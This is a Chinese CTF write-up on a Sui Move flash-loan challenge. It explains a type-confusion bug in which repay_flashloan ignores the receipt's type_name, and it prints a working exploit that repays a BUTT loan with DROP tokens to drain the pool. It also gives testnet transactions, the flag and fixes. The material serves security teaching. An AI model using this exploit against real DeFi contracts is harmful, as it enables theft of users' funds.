Move CTF Week2 Challenge 技术分析

概述MoveCTF共学营由HOH水分子社区联合Cyclens及Movebit共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解Web3领域安全问题、提升在网络安全领域的实战能力。详细信息请参考:

概述

Move CTF 共学营由 HOH 水分子社区联合 Cyclens 及 Movebit 共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解 Web3 领域安全问题、提升在网络安全领域的实战能力。

详细信息请参考:<https://platform.cyclens.tech/activity/1>

本文分析 Move CTF Week2 挑战,该挑战部署在 Sui 测试网上,主要考察开发者对 Move 语言泛型类型安全和闪电贷机制的理解。

挑战环境

  • 合约地址: 0x3384e67f53de5ec0ed39e5b10f51070fbe1e9f3a7bf6150d43109279b15eddfe
  • 部署交易: 57HwTNNzAh8ZSG6Fva2tcDHSQ5oxihN3Ra84nZHXEBz7
  • 网络: Sui 测试网
  • GitHub ID: 5b2b5989-c226-4eb6-a249-294a4aca12ca

合约架构分析

核心模块

挑战合约包含五个核心模块:

  1. challenge: 主挑战逻辑模块
  2. pool: 流动性池和闪电贷实现
  3. butt: BUTT代币定义
  4. drop: DROP代币定义
  5. lp: 流动性提供者代币

关键数据结构

struct Challenge&lt;phantom LP, phantom BUTT, phantom DROP> has store, key {
    id: UID,
    pool: Pool&lt;LP>,
    drop_balance: Balance&lt;DROP>,
    claimed: bool,
    success: bool
}

struct Pool&lt;phantom LP> has store, key {
    id: UID,
    balances: Bag,
    flashloan: bool
}

struct FlashReceipt {
    pool_id: ID,
    type_name: String,
    repay_amount: u64
}

解题条件

挑战的 is_solved 函数检查两个关键条件:

  1. 池子中 BUTT 代币余额为 0
  2. 闪电贷状态为 false(无进行中的闪电贷)

漏洞识别

类型混淆漏洞

核心漏洞位于 repay_flashloan 函数中:

public fun repay_flashloan&lt;LP, A>(pool: &mut Pool&lt;LP>, receipt: FlashReceipt, coin: Coin&lt;A>) {
    let FlashReceipt { pool_id: id, type_name: _, repay_amount: amount } = receipt;
    assert!(contains_type&lt;LP, A>(pool), ETypeNotFoundInPool);
    assert!(object::id(pool) == id, EPoolIdMismatch);
    assert!(coin::value(&coin) == amount, ERepayAmountMismatch);
    deposit_internal&lt;LP, A>(pool, coin);
    pool.flashloan = false;
}

关键问题

  • type_name: _ 被忽略,没有验证 receipt 中记录的类型
  • 只检查类型 A 是否在池子中存在,未验证与借款类型的匹配
  • 允许用不同类型的代币还款闪电贷

漏洞成因

  1. 设计缺陷: FlashReceipt 结构体包含 type_name 字段但未被验证
  2. 类型检查不足: 仅验证类型存在性,忽略类型一致性
  3. 泛型安全问题: 泛型系统的安全验证存在漏洞

攻击方法

攻击流程

  1. 获取 DROP 代币: 调用 claim_drop 获取 1100 个 DROP 代币
  2. 发起闪电贷: 借出池子中全部 1000 个 BUTT 代币
  3. 类型混淆还款: 用 1050 个 DROP 代币还款 BUTT 闪电贷
  4. 完成攻击: 池子 BUTT 余额归零,闪电贷状态重置

攻击合约实现

public fun exploit(challenge: &mut Challenge&lt;LP, BUTT, DROP>, ctx: &mut TxContext) {
    // 获取 DROP 代币
    let mut drop_coin = challenge::claim_drop(challenge, ctx);

    // 获取池子引用
    let pool = challenge::get_pool_mut(challenge);

    // 闪电贷借出所有 BUTT 代币
    let butt_balance = pool::balance_of&lt;LP, BUTT>(pool);
    let (butt_coin, receipt) = pool::flashloan&lt;LP, BUTT>(pool, butt_balance, ctx);

    // 计算还款金额(含 5% 手续费)
    let repay_amount = butt_balance * 105000 / 100000;

    // 用 DROP 代币还款 BUTT 闪电贷(类型混淆)
    let repay_drop = coin::split(&mut drop_coin, repay_amount, ctx);
    pool::repay_flashloan&lt;LP, DROP>(pool, receipt, repay_drop);

    // 转移获得的代币
    transfer::public_transfer(drop_coin, ctx.sender());
    transfer::public_transfer(butt_coin, ctx.sender());
}

攻击执行

部署与执行

  1. 部署解题合约: Package ID 0xefeee23ffbed1162d6116a78eb80b911172e98df34f23418603a988b33b689ac
  2. 执行攻击: 交易哈希 EnzUt1BC5bKiz1JSECgF5LXqasMPY22gTM9YVMjSAcL8
  3. 验证成功: 交易哈希 2Gf6VQtYwBmMBsk3RCApx3zq8r4xY4L7Ym8NXLsxEnWj
  4. 获取 Flag: 交易哈希 WWDswm3oF7qQESKwAjFktC4zjgGK5ptSasdCZwC85C2

攻击结果

项目
Flag CTF{MoveCTF-Task2}
BUTT 代币获得 1000
DROP 代币剩余 50
攻击状态 成功

安全影响

直接影响

  1. 资金损失: 攻击者可无成本获取池子中的代币
  2. 协议破坏: 闪电贷机制完全失效

潜在风险

  1. 扩展攻击: 类似漏洞可能存在于其他 DeFi 协议
  2. 经济损失: 真实环境中可能造成重大资金损失

修复建议

代码层面

  1. 严格类型验证:

    public fun repay_flashloan&lt;LP, A>(pool: &mut Pool&lt;LP>, receipt: FlashReceipt, coin: Coin&lt;A>) {
    let FlashReceipt { pool_id: id, type_name, repay_amount: amount } = receipt;
    assert!(type_name == type_name::into_string(type_name::get&lt;A>()), ETypeMismatch);
    // 其他验证逻辑...
    }
  2. 增强 Receipt 验证: 确保 FlashReceipt 中的所有字段都被正确验证

  3. 类型绑定: 使用更严格的泛型约束确保类型一致性

设计层面

  1. 最小权限原则: 限制闪电贷功能的访问权限
  2. 状态检查: 增加更多状态一致性检查
  3. 审计机制: 建立完善的代码审计流程

防护策略

开发阶段

  1. 静态分析: 使用工具检测类型安全问题
  2. 单元测试: 覆盖各种边界情况和攻击场景
  3. 集成测试: 验证模块间交互的安全性

部署阶段

  1. 渐进式部署: 先在测试环境充分验证
  2. 监控机制: 实时监控异常交易和状态变化
  3. 应急响应: 建立快速响应和修复机制

总结

Move CTF Week2 挑战揭示了泛型类型安全方面的重要问题。通过类型混淆攻击,攻击者能够绕过闪电贷的还款验证机制,实现无成本获取池子资金的目标。

这个漏洞的核心在于 repay_flashloan 函数对 FlashReceipt 中 type_name 字段的忽略,导致类型验证不完整。修复需要在代码层面加强类型验证,在设计层面采用更安全的架构模式。

对于开发者而言,这个案例强调了在处理泛型和资源管理时必须格外谨慎,确保所有类型信息都得到正确验证,避免类似的安全漏洞。

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
cuidaquan
cuidaquan
江湖只有他的大名,没有他的介绍。